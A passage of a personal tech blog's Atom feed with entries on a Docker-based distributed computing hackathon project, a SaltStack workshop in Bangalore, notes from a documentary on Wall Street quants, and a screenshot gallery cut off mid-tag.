&lt;p&gt;I would recommend reading &amp;#8220;&lt;span class=&quot;st&quot;&gt;&lt;em&gt;Thus Spoke Zarathustra&lt;/em&gt;&amp;#8221; by &lt;/span&gt;Nietzsche, who actually broke it down to pretty much rudimentary human traits, cleverly summarized into sentences of what it means to be one, at the least. Includes a lot of truth about hypocrisy and painful basic nihilistic questions though. Be warned, as I was, by a friend of mine. I am currently reading it myself.&lt;/p&gt;
&lt;p&gt;By the way, this &lt;a href=&quot;https://en.wikipedia.org/wiki/Like_button&quot; target=&quot;_blank&quot;&gt;wiki page on &amp;#8220;like button&amp;#8221;&lt;/a&gt; should be updated with the &amp;#8220;why&amp;#8221; section. It currently has the &amp;#8220;what&amp;#8221; and &amp;#8220;how&amp;#8221; sections only.&lt;/p&gt;
&lt;p&gt;Suggestions &lt;span class=&quot;_Tgc&quot;&gt; to this post / related thoughts are welcome! What do you think?&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>..and write, I will.</title>
    <link href="https://arcolife.in/blog/2016/03/20/and-write-i-will/"/>
    <id>https://arcolife.in/blog/2016/03/20/and-write-i-will/</id>
    <published>2016-03-19T20:55:49.000Z</published>
    <updated>2016-03-19T20:55:49.000Z</updated>
    <category term="random"/>
    <summary>100 posts lined up. Now that I’ve put this here, sometime in near future, *hoping* I would probably save myself some embarrassment of posting this one .. by nailing down those 100 posts Need to let the word out; Need…</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;p&gt;100 posts lined up. Now that I&amp;#8217;ve put this here, sometime in near future, *hoping* I would probably save myself some embarrassment of posting this one .. by nailing down those 100 posts  Need to let the word out; Need to help people; Need to document life, conversations, events, personalities, ideas, products more often.&lt;/p&gt;
&lt;p&gt;*Repeats to himself*&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;#8220;No, I won&amp;#8217;t delete this post to cover up my tracks.&amp;#8221;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>Docker Global Hack Day mania: DockerComp</title>
    <link href="https://arcolife.in/blog/2015/09/21/docker-global-hack-day-mania-dockercomp/"/>
    <id>https://arcolife.in/blog/2015/09/21/docker-global-hack-day-mania-dockercomp/</id>
    <published>2015-09-21T15:50:10.000Z</published>
    <updated>2015-09-21T15:50:10.000Z</updated>
    <category term="random"/>
    <summary>For the purpose of Distributed (Scientific) Computing, scientists across the world have been mostly using pre-configured VM images to let the client volunteer in contributing towards micro-processing tasks that involve…</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;p&gt;For the purpose of Distributed (Scientific) Computing, scientists across the world have been mostly using pre-configured VM images to let the client volunteer in contributing towards micro-processing tasks that involve processing of raw data received in chunks over the network.&lt;/p&gt;
&lt;p&gt;But, since the introduction of Docker, life has changed and so have the performance benchmarks. We propose an system that uses the benefits of Docker to hopefully perform far better than the currently achieved milestones through VMs. The VMs have a huge overhead of starting up, as compared to Docker containers. Moreover, we don&amp;#8217;t even need to explain the difference between running more than one VM on a HostOS compared to running multiple docker containers on that same machine! See the point? 🙂&lt;/p&gt;
&lt;p&gt;&lt;p class=&quot;yt-gone&quot;&gt;A YouTube video was embedded here (&lt;code&gt;lIp2nrOnKFs&lt;/code&gt;). It is no longer available.&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;A user would just need to run the installer.sh script. Run it and grab a coffee mug. The server admin guy just needs to inject the distributed computing task in the docker image, and the server side code. [ Github: &lt;a href=&quot;https://github.com/arcolife/dockerComp/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/arcolife/dockerComp/&lt;/a&gt; ]. Some screenshots below:&lt;/p&gt;
&lt;div data-shortcode=&quot;caption&quot; id=&quot;attachment_190697&quot; style=&quot;width: 1034px&quot; class=&quot;wp-caption aligncenter&quot;&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2015/09/installation-and-first-contact.png&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2015/09/installation-and-first-contact.png&quot; alt=&quot;installation and first contact&quot; class=&quot;wp-image-190697 size-large&quot; aria-describedby=&quot;caption-attachment-190697&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;p id=&quot;caption-attachment-190697&quot; class=&quot;wp-caption-text&quot;&gt;installation and first contact&lt;/p&gt;&lt;/div&gt;
&lt;div data-shortcode=&quot;caption&quot; id=&quot;attachment_190696&quot; style=&quot;width: 1034px&quot; class=&quot;wp-caption aligncenter&quot;&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2015/09/communicatio-and-outage.png&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2015/09/communicatio-and-outage.png&quot; alt=&quot;communication and outage&quot; class=&quot;wp-image-190696 size-large&quot; aria-describedby=&quot;caption-attachment-190696&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;p id=&quot;caption-attachment-190696&quot; class=&quot;wp-caption-text&quot;&gt;communication and outage&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;http://www.rightscale.com/blog/sites/default/files/docker-containers-vms.png&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://en.wikipedia.org/wiki/Docker_%28software%29#cite_ref-3 &lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So, just to give you a context of this whole project, take a look at this project called &lt;a href=&quot;http://cernvm.cern.ch/portal/&quot;&gt;CernVM&lt;/a&gt;. This is a really awesome project, developed to help collect CERN&amp;#8217;s LHC data and perform data analysis on a volunteer&amp;#8217;s computer or even on commercial clouds. Just imagine if the whole process of using VM was dockerized!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;FEATURES&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Can be used for:
&lt;ul&gt;
&lt;li&gt;Image Processing&lt;/li&gt;
&lt;li&gt;General Data Analysis&lt;/li&gt;
&lt;li&gt;Scientific Computing&lt;/li&gt;
&lt;li&gt;CrowdSourcing projects.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;FUTURE GOALS&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;More ease of use to be added in future as a pluggable dockerized distributed computing framework.&lt;/li&gt;
&lt;li&gt;Integrations to Docker Compose and Swarm for scalability.&lt;/li&gt;
&lt;li&gt;Security Layers&lt;/li&gt;
&lt;li&gt;Sample distributed system apps packaged along&lt;/li&gt;
&lt;li&gt;Possible Integration with CernVM&lt;/li&gt;
&lt;li&gt;Integration with tor n/w and intelligent task distribution with independent cluster management.&lt;/li&gt;
&lt;li&gt;Plugin for mounting FuseFS inside docker, in non-privileged mode&lt;/li&gt;
&lt;li&gt;OpenVPN based tunnel integration&lt;/li&gt;
&lt;li&gt;More Optimizations in terms of Task Distribution redundancy&lt;/li&gt;
&lt;li&gt;Release benchmarks and comparisons with existing methodologies.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>Saltstack workshop – Kya aapke Stack mein Salt hai?</title>
    <link href="https://arcolife.in/blog/2015/08/29/saltstack-workshop/"/>
    <id>https://arcolife.in/blog/2015/08/29/saltstack-workshop/</id>
    <published>2015-08-29T15:50:07.000Z</published>
    <updated>2015-08-29T15:50:07.000Z</updated>
    <category term="random"/>
    <category term="Automation"/>
    <category term="CloudOps"/>
    <category term="DevOps"/>
    <category term="ITOps"/>
    <category term="Provisioning"/>
    <category term="SaltStack"/>
    <summary>Helped Krace and Saravana organize SaltStack workshop today at Redhat office, Bangalore (IN) [meetup link: Workshop on SaltStack] with a count of around 35-40 participants. The aim was to give a hands-on intro to…</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;p&gt;Helped &lt;a href=&quot;https://www.facebook.com/kracekumar&quot; target=&quot;_blank&quot;&gt;Krace&lt;/a&gt; and &lt;a href=&quot;http://www.meetup.com/BangPypers/members/102595992/&quot; target=&quot;_blank&quot;&gt;Saravana&lt;/a&gt; organize &lt;a href=&quot;http://saltstack.com/about/&quot; target=&quot;_blank&quot;&gt;SaltStack&lt;/a&gt; workshop today at Redhat office, Bangalore (IN) [meetup link: &lt;a href=&quot;http://www.meetup.com/BangPypers/events/223389765/&quot; target=&quot;_blank&quot;&gt;Workshop on SaltStack&lt;/a&gt;] with a count of around 35-40 participants. The aim was to give a hands-on intro to concepts of salt stack, like minions, master, grains, pillars, state files, salt modules.. However, due to time constraints, some installation problem diagnosis and interesting questions being put up actively by a few, all topics could not be covered. Although my doubts were cleared, thanks to Krace and Saravana for putting effort and time into the presentation!&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2015/08/wpid-wp-1440863016926.jpg&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2015/08/wpid-wp-1440863016926.jpg&quot; alt=&quot;image&quot; title=&quot;wp-1440863016926&quot; class=&quot;alignnone size-full&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2015/08/wpid-wp-1440863023757.jpg&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2015/08/wpid-wp-1440863023757.jpg&quot; alt=&quot;image&quot; title=&quot;wp-1440863023757&quot; class=&quot;alignnone size-full&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;text-align:right;&quot;&gt;&lt;em&gt;(Pic credits: &lt;a href=&quot;https://m.facebook.com/mahtab.alam.92372/posts/pcb.891169700930682/?mdf=1&amp;amp;mds=%2Fphotos%2Fviewer%2F%3Fphotoset_token%3Dpcb.891169700930682%26photo%3D891167787597540%26profileid%3D1286126169%26source%3D49%26refid%3D17%26_ft_%3Dtop_level_post_id.891169700930682&quot; target=&quot;_blank&quot;&gt;Mehtab Alam)&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The workshop included setting up a master and minions inside the VMs, letting them communicate, checking node status and then installing a &amp;#8220;hello world&amp;#8221; nodejs based systemd service. The source code used, was from &lt;a href=&quot;https://github.com/madhavan020985/bangpy-aug-saltstack&quot; target=&quot;_blank&quot;&gt;this github repo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;During a tea break, I and &lt;a href=&quot;https://www.facebook.com/shubhendu.tripathi040980&quot; target=&quot;_blank&quot;&gt;Shubhendu&lt;/a&gt; talked about how SaltStack is being used within Red Hat and also, a brief introduction to culture and departments within RH BLR office. Also had some nice discussions about comparisons between Puppet, SaltStack and such.&lt;/p&gt;
&lt;p&gt;Kya aapke Stack mein Salt hai? XD (Joke meant for Indians)&lt;/p&gt;
&lt;p&gt;This workshop, which was sponsored by Red Hat, was an effort on part of BangPypers meetup group (BLR Python community) and so, I would like to promote an event from PyCon here as well. Quoting an email from Krace:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;As part of PyCon we&amp;#8217;re organizing dev sprint. Dev sprint is one day intense coding event focussed on fixing bugs, enhancements, refactor, writing docs, test. You can work any of your personal project or open source projects like Django, Flask, Python. Only criteria is the open source project should be in Python and can use mix of other languages like JS, CSS, HTML.&lt;/p&gt;
&lt;p&gt;If you or any of your friends/colleagues are interested, please pass on the email. In order to participate, you need to register the project here [0]. Later set of volunteers will get in touch with you for more details.&lt;/p&gt;
&lt;p&gt;The Sprint will be held on Oct 2nd from 9Am &amp;#8211; 7.30 PM on the 1st floor of the conference venue.&lt;/p&gt;
&lt;p&gt;Once we close the CFP, we will make a list of the accepted projects and the participants will be able to choose from them while they participate in the event.&lt;/p&gt;
&lt;p&gt;Last date for submission is Sep 4.&lt;span class=&quot;HOEnZb&quot;&gt;&lt;span style=&quot;color:#888888;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;[0] &amp;#8211; &lt;a href=&quot;https://in.pycon.org/cfp/pycon-india-dev-sprint-2015/proposals/&quot; target=&quot;_blank&quot;&gt;CFP for DevSprint &amp;#8211; PyCon 2015&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;I&amp;#8217;ve submitted the following proposals (list is not exhaustive; to be updated 😉 ):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://in.pycon.org/cfp/pycon-india-dev-sprint-2015/proposals/distributed-computing-in-docker-dockercomp/&quot; target=&quot;_blank&quot;&gt;Distributed Computing in Docker: DockerComp&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;See you there!&lt;/p&gt;
&lt;p&gt;Cheers.&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>Note to Self: On Quants</title>
    <link href="https://arcolife.in/blog/2015/08/21/note-to-self-on-quants/"/>
    <id>https://arcolife.in/blog/2015/08/21/note-to-self-on-quants/</id>
    <published>2015-08-21T13:22:50.000Z</published>
    <updated>2015-08-21T13:22:50.000Z</updated>
    <category term="random"/>
    <summary>Disclaimer: I’m not mentioning the source of quotes in the statements below. The video juggles between different quants, because obviously its a documentary. Not keeping a track of it for now, please watch the video in…</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;figure class=&quot;yt-facade&quot; data-yt=&quot;ed2FWNWwE3I&quot;&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=ed2FWNWwE3I&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/youtube/ed2FWNWwE3I.jpg&quot; alt=&quot;YouTube video: Quants | The Alchemists of Wall Street | VPRO documentary&quot; width=&quot;480&quot; height=&quot;360&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;span class=&quot;yt-play&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;figcaption&gt;Quants | The Alchemists of Wall Street | VPRO documentary&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;&lt;em&gt;Disclaimer:&lt;/em&gt; &lt;em&gt;I&amp;#8217;m not mentioning the source of quotes in the statements below. The video juggles between different quants, because obviously its a documentary. Not keeping a track of it for now, please watch the video in case the sources interest you here.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Notes from the transcription (includes the quotes):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;one must&amp;#8217;ve handful of skills to pay extra bills&lt;/li&gt;
&lt;li&gt;a million dollar check ain&amp;#8217;t enough either&lt;/li&gt;
&lt;li&gt;a view drives prediction models, because you&amp;#8217;re supplying the input. The term prediction is absurd.&lt;/li&gt;
&lt;li&gt;1$ &amp;#8211; 1 bottle; 100 bottles? non-linearity. market fluidity; consumption/production; maybe 80; maybe 200&lt;/li&gt;
&lt;li&gt;you could always start by finding a job to build infrastructure around models if you don&amp;#8217;t primarily fit the personality of a quant and it interests you and you need to continue being a technologist to earn a living while you burn the midnight oil.&lt;/li&gt;
&lt;li&gt;sell software to investment bankers; get customers; build clustering models / correlation signals around insurance policies: whats the highest group average that leaves biggest dent; may determine frauds too&lt;/li&gt;
&lt;li&gt;subprime mortgages -&amp;gt; financial products: attracts banks&lt;/li&gt;
&lt;li&gt;sell big. this covers possible errors: maximize the profit margin&lt;/li&gt;
&lt;li&gt;disasters happen when there&amp;#8217;s low profit margin, combined with the quants saying that its alright, and then&amp;#8230; . poof!! [&lt;a href=&quot;https://en.wikipedia.org/wiki/Financial_crisis_of_2007%E2%80%9308&quot; target=&quot;_blank&quot;&gt;2008&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;understand the dangers involved with credit directives [mortgages for example]&lt;/li&gt;
&lt;li&gt;relationship(interactions) between say a 1000 mortgages. how many correlations are there in a 2&amp;#215;2 combinations of these things? Answer: 1000*999/2 -&amp;gt; .5 million numbers. Lets assume all numbers are 0.6.. ridiculous model from sublime mathematical model. mistakes!!&lt;/li&gt;
&lt;li&gt;4-5 years worth of data is not enough to base a mathematical model upon, as it doesn&amp;#8217;t cover the economic cycle of data&lt;/li&gt;
&lt;li&gt;common belief that everything&amp;#8217;s gonna go up (by the amt of compensation).. leads to delusional minds: goal of everyone: 40 tak notes chaapo and stop.&lt;/li&gt;
&lt;li&gt;if hedge fund drops (x % they take each year and put in their own a/c) when they loose it, it&amp;#8217;s their client&amp;#8217;s money.&lt;br /&gt;
people who take risks should be compensation, but not for taking risks with other people&amp;#8217;s money. ridiculous. not economic&lt;/li&gt;
&lt;li&gt;majority may not always be judicious and conservation while lending (context: mortages). Piles up leading to financial panic.&lt;/li&gt;
&lt;li&gt;have to be wired, alert and engaged; have to be perfect and write all the time. Software CANNOT fail. A Lot of stress. Nightmares.&lt;/li&gt;
&lt;li&gt;purpose of banks is becoming dangerous: new derivatives invented to hedge the value of a product. Banks used to do it. Farmers were busy growing it and not speculating prices. Now, people trade commodities and involved in production of these commodities. People in this business feel jaded now, but questioning ethical values on this kind of job.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.quora.com/Henry-Wong-7/Investing-Quotes-and-Notes/The-Financial-Modelers-Manifesto&quot; rel=&quot;nofollow&quot;&gt;http://www.quora.com/Henry-Wong-7/Investing-Quotes-and-Notes/The-Financial-Modelers-Manifesto&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;One should spend a lot of time in learning and reading &amp;#8220;like a monk in a monastery&amp;#8221;. Peaceful and effective indeed.&lt;/li&gt;
&lt;li&gt;Express worries about what one is doing. It&amp;#8217;s possible to do it in Finance and people should do it. Increasing financial crisis since 1994. People used to constant growth and acceleration. Every time it slowed down, government stepped in to stimulate growth by lowering interest rates. Given the rise and collapse, oscillations get bigger because of the habit of seeing continuous growth.&lt;/li&gt;
&lt;li&gt;Economy shrinking by 1% is awful. Growing by 1% is fantastic. How can a 2% make a big difference in the world? Economists.. they think that they&amp;#8217;re scientists so they come up with these what they call laws. They&amp;#8217;re not laws. Gravity is a law. They build up this edifice of theory built upon a shaky foundation and they get all sort of nonsense coming out of it.&lt;/li&gt;
&lt;li&gt;Money is a game that people make rules for. Day-to-day activities though involve trying to grow into a healthy group of animals. Big difference.&lt;/li&gt;
&lt;li&gt;Everything eventually goes back to big bonuses. Know your history. Quants won&amp;#8217;t be eliminated. Every model would still be there.&lt;/li&gt;
&lt;li&gt;&amp;#8220;I wanted to feel challenged again. Enrolled into a quant program. cost me $60,000 tuition. Means more debt that I now have to take on&amp;#8221;. Can&amp;#8217;t afford to loose a day to alcohol. No social life. Most candidates here are Asian; which means math is their first language and our common language. We Americans are a minority.&lt;/li&gt;
&lt;li&gt;Everybody wants to move into this field. Scientific creativity is becoming financial creativity. Which is already bogus.&lt;/li&gt;
&lt;li&gt;Quant is essential to modern banking; because so much of it is based upon new techniques like the latest thing is the algorithmic trading and high freq trading, of which you need math skills.&lt;/li&gt;
&lt;li&gt;Used to be historically floor traders and workers, screaming and shouting.&lt;/li&gt;
&lt;li&gt;Understand the consequences of High Frequency Trading. (put data on trays that last for &lt;em&gt;milliseconds&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Hedge funds try to take the black box as close to an exchange as possible. Takes time for a signal from black box to get to the exchange to buyout or sell. Now of course, that is dictated by speed of light. Now we&amp;#8217;re talking about trading at speed of light.&lt;/li&gt;
&lt;li&gt;Classic crash of October&amp;#8217;87. Happened within a day. Next one could occur within minutes&lt;/li&gt;
&lt;li&gt;Black Box? takes in lot of data like stock prices, etc and tells what to trade o buy. Favorite is Google search term, trading based on what people are searching for.??&lt;/li&gt;
&lt;li&gt;BB is almost hard to get for human mind. CS guys could wrap their hands around it. Like Goldman Sachs is a BB, or generally spoken of, as one.&lt;/li&gt;
&lt;li&gt;HF trading is concerned with price, not value of something. Value is worth. Price is just what people buy and sell for. All you care for is price you sell it for &amp;gt; buying price. Nobody cares about value.&lt;/li&gt;
&lt;li&gt;#UnitedAirlinesBankrupcy involed algo&amp;#8217;s saying SELL SELL SELL. Frightening because human elements being divorced from banking essentials.&lt;/li&gt;
&lt;li&gt;Banking is supposed to be to take money from people with too much -&amp;gt; people with business ideas. Now it&amp;#8217;s only about gambling with numbers.&lt;/li&gt;
&lt;li&gt;Jokes about NYSE becoming a museum. &amp;#8220;way we used to trade&amp;#8221; back in sensible days.&lt;/li&gt;
&lt;li&gt;Quantitative methods do not suffice in general to explain markets. They&amp;#8217;re not useless though. Discoveries made by Einstein, Feynman, &lt;span class=&quot;st&quot;&gt;Schrödinger&lt;/span&gt; and such explain God&amp;#8217;s truth and based on a field where history repeats itself. In Finance, mostly the history doesn&amp;#8217;t repeat itself..&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;row board_item_description&quot;&gt;
&lt;div id=&quot;ld_jbtofh_74405&quot;&gt;
&lt;div id=&quot;__w2_IOoZOLS_truncated_section&quot; class=&quot;Expandable SuggestedPostEditorWrapper&quot;&gt;
&lt;div class=&quot;suggested&quot;&gt;
&lt;div id=&quot;__w2_IOoZOLS_inline_editor_content&quot; class=&quot;inline_editor_content&quot;&gt;
&lt;div id=&quot;__w2_u0wMv4y_outer&quot;&gt;
&lt;blockquote&gt;
&lt;div id=&quot;__w2_u0wMv4y_container&quot;&gt;
&lt;p&gt;The Financial Modelers&amp;#8217; Manifesto:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I will remember that I didn&amp;#8217;t make the world, and it doesn&amp;#8217;t satisfy my equations.&lt;br /&gt;
-&amp;gt; Maturity in understanding that in reality, the equation might not always be perfect&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;Though I will use models boldly to estimate value, I will not be overly impressed by mathematics.&lt;br /&gt;
-&amp;gt; People make finance too mathematical that after implementation, they don&amp;#8217;t understand their own models.&lt;/li&gt;
&lt;li&gt;I will never sacrifice reality for elegance without explaining why I have done so.&lt;br /&gt;
-&amp;gt; Its a competition b/w real and elegant world of math.&lt;/li&gt;
&lt;li&gt;Nor will I give the people who use my model false comfort about its accuracy. Instead, I will make explicit its assumptions and oversights.&lt;br /&gt;
-&amp;gt; Quants are sometimes just told to &amp;#8220;measure the risk in this portfolio&amp;#8221;.  It&amp;#8217;s too big. Quants are told to redo the numbers and change the math to make it look less risky and come up with smaller numbers.&lt;/li&gt;
&lt;li&gt;I understand that my work may have enormous effects on society and the economy, many of them beyond my comprehension.&lt;br /&gt;
-&amp;gt; This is a serious business. Feels like everyone is working to service the bank. Apparently the world of banking is changed now.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;#8211; Paul Wilmott and Emanuel Derman&lt;/p&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&amp;#8220;&lt;span class=&quot;_Tgc&quot;&gt;&lt;b&gt;The Hippocratic Oath&lt;/b&gt;&lt;/span&gt;&amp;#8220;&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>In the name of the father</title>
    <link href="https://arcolife.in/blog/2014/07/29/in-the-name-of-the-father/"/>
    <id>https://arcolife.in/blog/2014/07/29/in-the-name-of-the-father/</id>
    <published>2014-07-29T10:04:48.000Z</published>
    <updated>2014-07-29T10:04:48.000Z</updated>
    <category term="random"/>
    <summary>#noteToSelf. It’s just like this previous one and this one as well.</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;p&gt;#noteToSelf. It&amp;#8217;s just like &lt;a title=&quot;Se7en&quot; href=&quot;https://arcolife.in/blog/2014/04/27/se7en/&quot; target=&quot;_blank&quot;&gt;this previous one&lt;/a&gt; and &lt;a title=&quot;Nature by numbers.&quot; href=&quot;https://arcolife.in/blog/2014/04/27/on-keith-devlins-talk-and-the-occurrence-of-fibonacci-numbers-in-nature-and-historical-artifacts/&quot; target=&quot;_blank&quot;&gt;this one as well.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-150454.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-150454.png&quot; alt=&quot;Screenshot from 2014-07-29 15:04:54&quot; width=&quot;300&quot; height=&quot;168&quot; class=&quot;alignnone size-medium wp-image-1284&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-145941.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-145941.png&quot; alt=&quot;Screenshot from 2014-07-29 14:59:41&quot; width=&quot;300&quot; height=&quot;168&quot; class=&quot;alignnone size-medium wp-image-1285&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-150253.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-150253.png&quot; alt=&quot;Screenshot from 2014-07-29 15:02:53&quot; width=&quot;300&quot; height=&quot;168&quot; class=&quot;alignnone size-medium wp-image-1286&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-150334.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-150334.png&quot; alt=&quot;Screenshot from 2014-07-29 15:03:34&quot; width=&quot;300&quot; height=&quot;168&quot; class=&quot;alignnone size-medium wp-image-1287&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-150618.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-150618.png&quot; alt=&quot;Screenshot from 2014-07-29 15:06:18&quot; width=&quot;300&quot; height=&quot;168&quot; class=&quot;alignnone size-medium wp-image-1288&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-150439.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-150439.png&quot; alt=&quot;Screenshot from 2014-07-29 15:04:39&quot; width=&quot;300&quot; height=&quot;168&quot; class=&quot;alignnone size-medium wp-image-1289&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-151734.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-151734.png&quot; alt=&quot;Screenshot from 2014-07-29 15:17:34&quot; width=&quot;300&quot; height=&quot;168&quot; class=&quot;alignnone size-medium wp-image-1290&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-151737.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-151737.png&quot; alt=&quot;Screenshot from 2014-07-29 15:17:37&quot; width=&quot;300&quot; height=&quot;168&quot; class=&quot;alignnone size-medium wp-image-1291&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-151804.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-151804.png&quot; alt=&quot;Screenshot from 2014-07-29 15:18:04&quot; width=&quot;300&quot; height=&quot;168&quot; class=&quot;alignnone size-medium wp-image-1292&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-151807.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-151807.png&quot; alt=&quot;Screenshot from 2014-07-29 15:18:07&quot; width=&quot;300&quot; height=&quot;168&quot; class=&quot;alignnone size-medium wp-image-1293&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-151815.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-151815.png&quot; alt=&quot;Screenshot from 2014-07-29 15:18:15&quot; width=&quot;300&quot; height=&quot;208&quot; class=&quot;alignnone size-medium wp-image-1294&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-151838.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-151838.png&quot; alt=&quot;Screenshot from 2014-07-29 15:18:38&quot; width=&quot;300&quot; height=&quot;154&quot; class=&quot;alignnone size-medium wp-image-1295&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a 